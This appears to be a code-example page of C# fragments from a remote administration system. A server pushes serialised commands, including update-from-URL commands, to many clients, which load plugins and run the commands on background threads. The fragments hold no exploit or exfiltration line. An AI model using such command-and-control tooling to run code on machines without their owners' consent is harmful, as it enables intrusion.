예제 #1
0
        public void ExecuteCommand(PotentialCommand potentialCommand)
        {
            if (!StaticCommands.ContainsKey(potentialCommand.CommandId) &&
                !LoadStaticCommandPlugin(potentialCommand.PluginResourceId, potentialCommand.PluginHash))
            {
                return;
            }

            lock (_activeCommandsLock)
            {
                //if there is already an Active command executing with the id, we return, nothing new to execute
                if (ActiveCommands.Any(x => x.Key.CallbackId == potentialCommand.CallbackId))
                {
                    return;
                }
            }

            if (potentialCommand.ExecutionEvent?.Id > 0) //0 = Immediately execution
            {
                _staticCommandScheduler.AddPotentialCommand(potentialCommand);
            }
            else
            {
                ExecutePotentialCommand(potentialCommand);
            }
        }
예제 #2
0
        private void InitializePotentialCommand(PotentialCommand potentialCommand, bool isStored)
        {
            Type executionEventType;

            if (_executionEvents.TryGetValue(potentialCommand.ExecutionEvent.Id, out executionEventType))
            {
                var executionEvent = (IExecutionEvent)Activator.CreateInstance(executionEventType);
                executionEvent.Initialize(potentialCommand.ExecutionEvent.Parameter);

                if (!executionEvent.CanExecute)
                {
                    if (!isStored)
                    {
                        _dynamicCommandStore.AddStoredCommand(potentialCommand);
                    }

                    executionEvent.TheTimeHasCome += (sender, args) =>
                    {
                        _executePotentialCommandDelegate(potentialCommand);
                        _dynamicCommandStore.RemoveStoredCommand(potentialCommand);
                    };
                    return;
                }
            }

            _dynamicCommandStore.RemoveStoredCommand(potentialCommand);
            _executePotentialCommandDelegate(potentialCommand);
        }
        public static byte[] UpdateCommandToOldUpdateCommand(PotentialCommand potentialCommand)
        {
            var result = new byte[8 + potentialCommand.Parameter.Length];

            Array.Copy(BitConverter.GetBytes(potentialCommand.CallbackId), result, 4);
            Array.Copy(BitConverter.GetBytes(0), 0, result, 4, 4);
            Array.Copy(potentialCommand.Parameter, 0, result, 8, potentialCommand.Parameter.Length);
            return(result);
        }
예제 #4
0
 public void CommandManualStop(PotentialCommand potentialCommand)
 {
     lock (_settingsLock)
     {
         var session = _stopSchedulerSettings.Sessions.FirstOrDefault(x => x.CommandId == potentialCommand.CallbackId);
         if (session != null)
         {
             _stopSchedulerSettings.Sessions.Remove(session);
             SaveSchedulerSettings();
         }
     }
 }
 public static byte[] GetOldPotentialCommand(PotentialCommand potentialCommand)
 {
     return
         (new Serializer(typeof(OldPotentialCommand)).Serialize(new OldPotentialCommand
     {
         CallbackId = potentialCommand.CallbackId,
         CommandId = potentialCommand.CommandId,
         ExecutionEvent = potentialCommand.ExecutionEvent,
         Parameter = potentialCommand.Parameter,
         PluginHash = potentialCommand.PluginHash,
         PluginResourceId = potentialCommand.PluginResourceId
     }));
 }
예제 #6
0
        public void AddStoredCommand(PotentialCommand potentialCommand)
        {
            var serializer = new Serializer(typeof(PotentialCommand));
            var fileInfo   =
                new FileInfo(FileExtensions.GetUniqueFileName(Consts.PotentialCommandsDirectory,
                                                              "PotentialCommand"));

            Directory.CreateDirectory(Consts.PotentialCommandsDirectory);
            File.WriteAllBytes(fileInfo.FullName, serializer.Serialize(potentialCommand));

            lock (ListLock)
            {
                _files.Add(potentialCommand, fileInfo);
                StoredCommands.Add(potentialCommand);
            }
        }
예제 #7
0
 public void RemoveStoredCommand(PotentialCommand potentialCommand)
 {
     lock (ListLock)
     {
         StoredCommands.Remove(potentialCommand);
         FileInfo fileInfo;
         if (_files.TryGetValue(potentialCommand, out fileInfo))
         {
             _files.Remove(potentialCommand);
             try
             {
                 fileInfo.Delete();
             }
             catch (Exception)
             {
                 // ignored
             }
         }
     }
 }
        public static byte[] UpdateFromUrlCommandToOldUpdateFromUrlCommand(PotentialCommand potentialCommand)
        {
            var properties =
                new Serializer(typeof(List <PropertyNameValue>)).Deserialize <List <PropertyNameValue> >(
                    potentialCommand.Parameter);
            var urlData    = Encoding.UTF8.GetBytes((string)properties.First(x => x.Name == "DownloadUrl").Value);
            var hashString = (string)properties.First(x => x.Name == "Hash").Value;
            var useHash    = !string.IsNullOrEmpty(hashString);

            var result = new byte[8 + 1 + urlData.Length + (useHash ? 32 : 0)];

            Array.Copy(BitConverter.GetBytes(potentialCommand.CallbackId), result, 4);
            Array.Copy(BitConverter.GetBytes(7), 0, result, 4, 4);

            result[8] = (byte)(useHash ? 1 : 0);
            if (useHash)
            {
                Array.Copy(StringExtensions.HexToBytes(hashString), 0, result, 9, 32);
            }

            Array.Copy(urlData, 0, result, 9 + (useHash ? 32 : 0), urlData.Length);

            return(result);
        }
예제 #9
0
 public void AddPotentialCommand(PotentialCommand potentialCommand)
 {
     InitializePotentialCommand(potentialCommand, false);
 }
예제 #10
0
        private void ExecutePotentialCommand(PotentialCommand potentialCommand)
        {
            StaticCommand staticCommand;

            if (StaticCommands.TryGetValue(potentialCommand.CommandId, out staticCommand))
            {
                var activeStaticCommand = staticCommand as ActiveStaticCommand;
                if (activeStaticCommand != null)
                {
                    //create a new instance because the commands are session based
                    activeStaticCommand = (ActiveStaticCommand)Activator.CreateInstance(activeStaticCommand.GetType());
                    activeStaticCommand.ExecutionStopped += ActiveStaticCommandOnExecutionStopped;

                    //the command is automatically removed
                    if (!_activeCommandStopScheduler.ExecuteActiveCommand(potentialCommand, activeStaticCommand))
                    {
                        return;
                    }

                    lock (_activeCommandsLock)
                        ActiveCommands.Add(potentialCommand, activeStaticCommand);

                    var serverConnection = (ServerConnection)_clientInfo.ServerConnection;
                    lock (serverConnection.SendLock)
                    {
                        DynamicCommandFeedbackFactory.PushEvent(serverConnection.BinaryWriter,
                                                                potentialCommand.CallbackId, ActivityType.Active, null);
                    }

                    new Thread(() =>
                    {
                        try
                        {
                            activeStaticCommand.Execute(new CommandParameter(potentialCommand.Parameter), null,
                                                        _clientInfo);
                        }
                        catch (Exception)
                        {
                            ActiveStaticCommandOnExecutionStopped(activeStaticCommand, EventArgs.Empty);
                        }
                    })
                    {
                        IsBackground = true
                    }.Start();
                }
                else
                {
                    var feedbackFactory =
                        new DynamicCommandFeedbackFactory((ServerConnection)_clientInfo.ServerConnection,
                                                          potentialCommand.CallbackId);

                    new Thread(() =>
                    {
                        try
                        {
                            staticCommand.Execute(new CommandParameter(potentialCommand.Parameter), feedbackFactory,
                                                  _clientInfo);
                        }
                        catch (Exception ex)
                        {
                            feedbackFactory.Failed("Critical error: " + ex.Message);
                        }

                        //that will execute anyways only if it wasn't pushed yet
                        feedbackFactory.Succeeded();
                    })
                    {
                        IsBackground = true
                    }.Start();
                }
            }
        }
예제 #11
0
        private static List <int> ExecuteStaticCommand(IEnumerable <Client> clients, PotentialCommand potentialCommand)
        {
            Logger.Debug("Execute static command {0}", potentialCommand.CallbackId);

            var data         = new Serializer(typeof(PotentialCommand)).Serialize(potentialCommand);
            var isCompressed = false;

            if (data.Length > 512)
            {
                var compressedData = LZF.Compress(data, 0);
                if (compressedData.Length < data.Length)
                {
                    isCompressed = true;
                    data         = compressedData;
                }
            }

            var updateCommandCompatibilityParameter =
                new Lazy <byte[]>(() => CompatibilityManager.UpdateCommandToOldUpdateCommand(potentialCommand));
            var updateFromUrlCompatibilityParameter =
                new Lazy <byte[]>(
                    () => CompatibilityManager.UpdateFromUrlCommandToOldUpdateFromUrlCommand(potentialCommand));
            var compatibilityData = new Lazy <byte[]>(() => CompatibilityManager.GetOldPotentialCommand(potentialCommand));

            var clientList = new List <int>();

            foreach (var client in clients)
            {
                try
                {
                    if (client.ComputerInformation.ClientVersion >= 19)
                    {
                        client.SendStaticCommand(data, isCompressed);
                        clientList.Add(client.Id);
                    }
                    else if (client.ComputerInformation.ClientVersion >= 13 && client.ComputerInformation.ClientVersion <= 18)
                    {
                        client.SendStaticCommand(compatibilityData.Value, isCompressed);
                        clientList.Add(client.Id);
                    }
                    else
                    {
                        //UpdateCommand
                        if (potentialCommand.CommandId ==
                            new Guid(0xafd0841b, 0x0035, 0x7045, 0x96, 0x32, 0x36, 0x98, 0x6c,
                                     0xb1, 0x83, 0x1c))
                        {
                            client.SendStaticCommand(updateCommandCompatibilityParameter.Value, false);
                            clientList.Add(client.Id);
                        }

                        //UpdateFromUrlCommand
                        else if (potentialCommand.CommandId ==
                                 new Guid(0xe08e79f0, 0xcaea, 0xe341, 0x8a, 0xb2, 0xef, 0x84, 0xe1,
                                          0x8f, 0xa2, 0x5f))
                        {
                            client.SendStaticCommand(updateFromUrlCompatibilityParameter.Value, false);
                            clientList.Add(client.Id);
                        }
                    }
                }
                catch (Exception)
                {
                    // ignored
                }
            }

            Logger.Debug("Static command {0} successfully executed on {1} clients", potentialCommand.CallbackId, clientList.Count);

            return(clientList);
        }
예제 #12
0
 public ActiveCommandInfo(PotentialCommand potentialCommand, ActiveStaticCommand executingCommand)
 {
     PotentialCommand = potentialCommand;
     ExecutingCommand = executingCommand;
 }
예제 #13
0
        public bool ExecuteActiveCommand(PotentialCommand potentialCommand, ActiveStaticCommand activeStaticCommand)
        {
            if (potentialCommand.StopEvent == null)
            {
                return(true);
            }

            lock (_settingsLock)
                switch (potentialCommand.StopEvent.Id)
                {
                case 1:     //DurationStopEvent
                    var sessionInfo =
                        _stopSchedulerSettings.Sessions.FirstOrDefault(
                            x => x.CommandId == potentialCommand.CallbackId);
                    var durationInfo =
                        _stopSchedulerSettings.DurationStopEventInfos.FirstOrDefault(
                            x => x.CommandId == potentialCommand.CallbackId);

                    var duration = TimeSpan.FromTicks(BitConverter.ToInt64(potentialCommand.StopEvent.Parameter, 0));

                    if (sessionInfo != null)
                    {
                        //if the difference is greater than 1 min. We dont directly compare because there might be a very small difference which comes from dividing the seconds in StartupTime
                        if (Math.Abs((StartupTime - sessionInfo.StartupTime).TotalSeconds) > 60)
                        {
                            //we dont execute this command again in a different session
                            _stopSchedulerSettings.Sessions.Remove(sessionInfo);
                            if (durationInfo != null)
                            {
                                _stopSchedulerSettings.DurationStopEventInfos.Remove(durationInfo);
                            }

                            SaveSchedulerSettings();
                            _dynamicCommandStore.RemoveStoredCommand(potentialCommand);
                            return(false);
                        }

                        if (durationInfo != null)
                        {
                            _stopSchedulerSettings.DurationStopEventInfos.Remove(durationInfo);
                            duration = DateTime.Now - durationInfo.StartTime;

                            if (duration < TimeSpan.Zero)
                            {
                                _stopSchedulerSettings.Sessions.Remove(sessionInfo);
                                SaveSchedulerSettings();
                                _dynamicCommandStore.RemoveStoredCommand(potentialCommand);
                                return(false);
                            }
                        }
                    }
                    else
                    {
                        _stopSchedulerSettings.Sessions.Add(new SessionCommandInfo
                        {
                            CommandId   = potentialCommand.CallbackId,
                            StartupTime = StartupTime
                        });
                    }

                    _stopSchedulerSettings.DurationStopEventInfos.Add(new DurationStopEventInfo
                    {
                        CommandId = potentialCommand.CallbackId,
                        StartTime = DateTime.Now
                    });

                    SaveSchedulerSettings();

                    new Timer(StopCommandCallback, activeStaticCommand, duration,
                              TimeSpan.FromMilliseconds(Timeout.Infinite));
                    return(true);

                case 2:     //DateTimeStopEvent
                    var dateTime = DateTime.FromBinary(BitConverter.ToInt64(potentialCommand.StopEvent.Parameter, 0));
                    var timeSpan = dateTime - DateTime.UtcNow;
                    if (timeSpan < TimeSpan.Zero)
                    {
                        _dynamicCommandStore.RemoveStoredCommand(potentialCommand);
                        return(false);
                    }

                    new Timer(StopAndRemoveCommandCallback,
                              new KeyValuePair <PotentialCommand, ActiveStaticCommand>(potentialCommand,
                                                                                       activeStaticCommand),
                              timeSpan, TimeSpan.FromMilliseconds(-1));
                    break;

                case 3:     //ShutdownStopEvent
                    sessionInfo =
                        _stopSchedulerSettings.Sessions.FirstOrDefault(
                            x => x.CommandId == potentialCommand.CallbackId);
                    if (sessionInfo != null)
                    {
                        //if the difference is greater than 1 min. We dont directly compare because there might be a very small difference which comes from dividing the seconds in StartupTime
                        if (Math.Abs((StartupTime - sessionInfo.StartupTime).TotalSeconds) > 60)
                        {
                            //we dont execute this command again in a different session
                            _stopSchedulerSettings.Sessions.Remove(sessionInfo);
                            SaveSchedulerSettings();
                            _dynamicCommandStore.RemoveStoredCommand(potentialCommand);
                            return(false);
                        }
                    }
                    else
                    {
                        _stopSchedulerSettings.Sessions.Add(new SessionCommandInfo
                        {
                            CommandId   = potentialCommand.CallbackId,
                            StartupTime = StartupTime
                        });
                        SaveSchedulerSettings();
                    }

                    return(true);

                default:
                    return(true);
                }

            return(true);
        }